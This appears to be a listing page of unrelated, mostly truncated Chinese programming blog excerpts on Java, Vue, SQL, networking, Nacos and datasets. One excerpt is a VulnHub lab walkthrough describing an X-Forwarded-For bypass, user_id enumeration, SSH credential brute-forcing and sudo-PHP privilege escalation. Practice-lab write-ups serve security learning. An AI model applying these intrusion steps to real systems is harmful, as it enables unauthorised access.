初始化数组 1、动态初始化: 数组类型[] 数组名=new 数组类型[数组长度]; 2、静态初始化: 数组类型[] 数组名={数组0,数组1,数组2,数组3,......}; 3、静态省略初始化 数组类型[] 数组名=new 数组类型[]{数组0,数组1,数组2,......}; 注意 Java是无法创建不定长数组,以上初始化方式都是定长的数组,要注意溢出的情况,要么声明为NULL,要么指定其长度。 如果需要不定长的数组,我们可以采用ArrayList来解决: 1.声明一个集合listArrayList list = new ArrayList(); 2.修改listArrayList 的方法 list.add(element); list.set(index,element)

l​​​​​​​Me and My Girlfriend: 1 ~ VulnHub靶机

漏洞环境搭建 lMe and My Girlfriend: 1 ~ VulnHub 漏洞复现 探测靶机IP地址,可以看到为135 查看到开放22和80端口 访问80端口,发现一句话 解密后为: 你是谁?黑客?对不起,这个站点只能在本地访问! 查看源码,看到提示 通过插件,或者burp进行抓包,添加X-Forwarded-For头部,可以访问到了 注册一个账号 登录进去发现有个user_id参数 便利这个参数 最后得到了这几个用户名和密码 进行爆破,发现账户alice,密码4lic3 进行ssh登录查找第一个flag 查看是否有suid的文件,然后进行提权 ,未发现可以利用的 查看sudo的配置 可以看到,通过执行php语句,是root权限执行的 成功获得第二个flag 另外一种,可以查看是否存在账号密码,查询到数据库的账号密码,猜测是否也是root的账号密码 发现也是可以 ​​​​​​​

画子图时出错ValueError: Single argument to subplot must be a three-digit integer, not ‘xxx‘

我在作子图时subplot用的是占位符 plt.subplot('22%d'%(i+1)) 出现这个错误ValueError: Single argument to subplot must be a three-digit integer, not '221' 然后我改成这样: plt.subplot(2,2,(i+1)) 输出就成功了 这个错误的帖子是有的,说是单个轴不能大于9,但我用的是占位符时出现的错误与直接连用数字稍有不同,所以我也写了一个。

解决vue本地调试线上的接口时报跨域的问题

在vue.config.js文件下设置 代码: module.exports = { // 配置路径别名 configureWebpack: { devServer: { // 调试时允许内网穿透,让外网的人访问到本地调试的H5页面 disableHostCheck: true, /本地调试时打开 port: '8222', //代理端口,不固定8222,可以是其他的 open: false, //项目启动时是否自动打开浏览器 proxy: { '/api': { target: 'https://www.你的域名.com/api', //接口地址 // ws:true, //允许ws跨域 secure:false, //类型:https=false http=true changeOrigin: true, //是否跨域 pathRewrite:{ // 重写路径 '^/api':'' } } }, /本地调试时打开 } }, //productionSourceMap: false, } 文件内容:

[ERR] 1046 - No database selected [ERR] 1273 - Unknown collation: ‘utf8mb4_0900_ai_ci‘

Navicat导入sql文件报错 错误一:[ERR] 1046 - No database selected 查了之后发现自己犯了很基本的错误 不能直接导入 1.先创建一个同名的数据库 2.然后在这个数据库上运行sql文件。这一步我又发生了错误,就是发现“运行sql文件”的按钮是灰的 解决就是要双击打开数据库,图标变绿 文件然后右键点击运行sql即可 错误二: [ERR] 1273 - Unknown collation: 'utf8mb4_0900_ai_ci' 查了之后是数据库版本不对应的问题 随便打开一个编辑器做相应替换就可以 解决: (49条消息) [ERR] 1273 - Unknown collation: 'utf8mb4_0900_ai_ci'_微笑的花的博客-CSDN博客

链路聚合以及生成树(STP)

链路聚合以及生成树(STP) 链路聚合 网络层数据链路层工作 特点: 提供线路冗余,还能增加线路带宽 链路聚合的带宽影响的因素: ​ 物理接口的速率,数量(所有加入链路聚合的数量,链路聚合中启用端口的数量) 提升链路带宽 手工模式: 使用原因,由于企业当中每次更换设备必不是一次性都换,每次都有老旧,低价的设备 缺陷: 为了使链路聚合接口正常工作,必须保证本端链路聚合接口中所有成员接口的对端接口: 属于同一设备加入同一链路聚合接口 手工模式下,设备间没有报文交互,因此只能通过管理员人工确认。手动模式下,设备只能通过物理层状态判断对端接口是否正常工作。 端口批量配置方式: port-group +端口组的命名 系统视图下方输入 group-member 添加端口成员 直接做配置 int Eth-Trunk 1 trunkport GigabitEthernet 0/0/1 to 0/0/4(批量加入链路聚合) 生成树(STP) 广播风暴 物理上存在环路交换机不能拒绝广播,当广播的时候,会进行泛洪(泛洪是指除去收到信息的端口,其余都会复制该信息) 危害(按照时间传递 ) 影响网络的效率占用了大量的网络带宽MAC地址会出现震荡(漂移)数据无法正常传递网络会瘫痪 STP的作用 通过阻塞端口来消除数据环路,实现了物理链路的备份 消除了广播风暴物理链路冗余网络变成层次化结构的网络 stp的操作 根桥:生成树里面的“老大” 备份根桥:生成树的里面的“二当家”,老大挂了的时候,我来做老大 非根交换机:炮灰或者收干活的小弟,每个都有一个根端口 根端口(R):非根交换机到根桥最近的端口 指定端口(D):传输数据的端口 非根非指定端口(A):被阻塞的端口或者说被用链路的端口 根桥选举 dis stp------查看生成树的日志 刚启动STP的时候,每台交换机都认为自己是根桥影响根桥选举的因素 优先级(交换机默认的优先级时32768)【越小越优先】【取值范围是0–61440】MAC地址【越小越优先】 根端口选举 端口的根路径开销对端BID对端PID本端PID 指定端口选举 根路径开销BIDPID 端口状态转换 Disable 端口未启用状态或初始化状态 端口不处理任何数据端口状态为Down blocking 阻塞状态 端口不转发用户流量,不学习源MAC地址,接收BPDU报文,但不发送BPDU阻塞状态的最终状态,维持20s Listening 监听状态 端口不转发用户流量,不学习MAC地址,只参与生成树计算,接收并发送BPDU报文过度状态,维持15s Learning 学习状态 端口不转发用户流量,但学习MAC地址表,参与生成树计算,接收并发送BPDU报文过度状态,防止临时环路,维持15s Forwarding

[SQL]视图和权限

有时让用户看到整个基本表是不合适的,出于安全考虑,可能需要向用户隐藏特定的数据。如在instructor关系中隐藏工资值: select ID,name,dept_name from instructor; 创建更符合特定用户直觉的个人化的关系集合,如学生成绩表由学生关系和课程关系连接得到。 视图是从一个或几个基本表导出的表视图是一个虚关系,数据库中只存放视图的定义而不存放视图对应的数据,其数据存放在导出视图的基本表中,在使用视图时通过执行查询计算出虚关系。在概念上与基本表等同。视图一经定义,就可以和基本表一样被查询、被删除,也可以在视图上再定义视图。 视图的作用 视图使用户能以多种角度看待同一数据视图能够对机密数据提供安全保护视图能够简化用户的操作适当的利用视图可以更清晰地表达查询 视图定义 语句格式 CREATE VIEW <视图名> [(<列名> [, <列名>]…)] AS <子查询> 组成视图的属性列名:全部省略或全部指定 如果省略了视图的各个属性列名,则隐含该视图由子查询SELECT子句目标列中的诸字段组成三种情况必须指定所有列名:目标列是聚集函数或列表达式;多表连接时出现同名列作为视图的属性;需要在视图中为某个列更改名字 子查询可以是任何合法地查询表达式 RDBMS执行CREATE VIEW语句时只是把视图定义存入数据字典,并不执行其中的SELECT语句。在对视图查询时,按视图的定义从基本表中将数据查出。 删除视图 语句的格式: DROP VIEW <视图名>; 该语句从数据字典中删除指定的视图定义如果该视图上还导出了其他视图,使用CASCADE级联删除语句,把该视图和由它导出的所有视图一起删除删除基本表时,由该基本表导出的所有视图定义都必须显式地使用DROP VIEW语句删除. 视图定义示例 创建一个视图,它包含除salary外的教师属性 create view faculty as select ID, name, dept_name from instructor; 利用show tables;即可查询 创建一个视图,它列出Physics系在2017年秋季学期所开设的所有课程段,以及每个课程段在哪栋建筑的哪个房间授课的信息 create view physics_fall_2017 as select course.course_id, sec_id, building, room_number from course, section where course.course_id = section.course_id and course.dept_name = ’Physics’ and section.semester = ’Fall’ and section.

Java 实现抽奖的两种方式

Java实现抽奖的两种方式 方式一:随机数在哪个区间内返回区间下标 方式二:随机数加入区间点集合排序返回随机数下标 代码示例: ①抽奖入参类型为BigDecimal: package com.cfay; import com.google.common.collect.Lists; import org.apache.commons.collections4.CollectionUtils; import java.math.BigDecimal; import java.util.*; import java.util.stream.Collectors; /** * @Author lcb * @Date 2022/11/10 **/ public class LuckDrawDemo { public static void main(String[] args) { List<BigDecimal> drawList = Lists.newArrayList(); drawList.add(BigDecimal.valueOf(0.15)); drawList.add(BigDecimal.valueOf(0.3)); drawList.add(BigDecimal.valueOf(0.4)); //抽奖测试 List<Integer> luckDraws = Lists.newArrayList(); for (int j = 0; j < 1000000; j++) { luckDraws.add(checkLuckDraw(drawList)); } //按照数字进行分组排序 Map<Integer, List<Integer>> luckDrawMap = luckDraws.stream().collect(Collectors.groupingBy(Integer::intValue)); //遍历打印测试结果 luckDrawMap.forEach((key, value) -> System.

【nacos】com.alibaba.nacos.shaded.io.grpc.StatusRuntimeException: UNAVAILABLE: io exception

项目场景: springboot+nacos 微服务架构,我们使用的是nacos nacos配置,先添加依赖 <dependency> <groupId>com.alibaba.boot</groupId> <artifactId>nacos-config-spring-boot-starter</artifactId> <version>${latest.version}</version> </dependency> <dependency> <groupId>com.alibaba.boot</groupId> <artifactId>nacos-discovery-spring-boot-starter</artifactId> <version>${latest.version}</version> </dependency> 配置nacos spring: config: activate: on-profile: dev cloud: nacos: config: server-addr: 192.168.0.188:8848 namespace: summy-dev 问题描述 项目使用微服务, 启动项目报错 com.alibaba.nacos.shaded.io.grpc.StatusRuntimeException: UNAVAILABLE: io exception 原因分析: 由官网可知我们使用nacos2.0之后需要开放两个8848偏移后的端口 解决方案: 在配置文件里增加端口设置 spring: config: activate: on-profile: dev cloud: nacos: discovery: server-addr: 192.168.0.188:8868 config: server-addr: 192.168.0.188:8848 namespace: summy-dev 但是在我们实际工作中其实可以只配置config的server-addr即可因为nacos本身自带动态配置服务,即动态配置服务可以让您以中心化、外部化和动态化的方式管理所有环境的应用配置和服务配置。 所以我们可以将我们的配置文件放到nacos中进行管理 总结: 连接nacos检查bootstrap.yml文件的问题,当服务打包到k8s上管理时,配置访问地址也要查看是否存在问题,如果连接不同则会只剩一个端口配置也会出现com.alibaba.nacos.shaded.io.grpc.StatusRuntimeException: UNAVAILABLE: io exception

手部数据太难找?最全手部开源数据集分享

本期将给大家介绍22个与手部检测、手势识别、手部图像分割等任务相关的公开数据集,包含第一人称、第三人称视角,可用于人机交互、手语翻译、3D建模等场景。 手部数据集清单一览: ​ 1. NVGesture ● 发布方:英伟达 ● 发布时间:2016 ● 简介:NVGesture 数据集专注于非接触式驾驶员控制。它包含 1532 个动态手势,分为 25 个类别。它包括 1050 个用于训练的样本和 482 个用于测试的样本。视频以三种模式(RGB、深度和红外)录制。主要为第三人称视角。 ​ ​ ● 下载地址: https://opendatalab.org.cn/NVGesture ● 论文地址: https://dl.acm.org/doi/abs/10.1145/1869790.1869829 2. HaGRID ● 发布方:SberDevices ● 发布时间:2022 ●简介: HaGRID (Hand Gesture Recognition Image Dataset)是一个大型图像数据集。可用于图像分类或图像检测任务,适用于视频会议、智能家居、智慧驾驶等场景。 HaGRID 大小为716GB,数据集包含552,992 个FullHD (1920 × 1080) RGB 图像,分为18类手势。数据分为 92% 的训练集和 8% 的测试集user_id,其中 509,323 幅图像用于训练,43,669 幅图像用于测试。 该数据集包含34,730个独特的人以及至少这个数量的独特场景。受试者为 18 至 65 岁的人。该数据集主要是在室内收集的,光照变化很大,包括人造光和自然光。该数据集还包括在极端条件下拍摄的图像,例如面对和背靠窗户。此外,受试者必须在距相机 0.5 到 4 米的距离处显示手势。 ​ ​ ● 下载地址: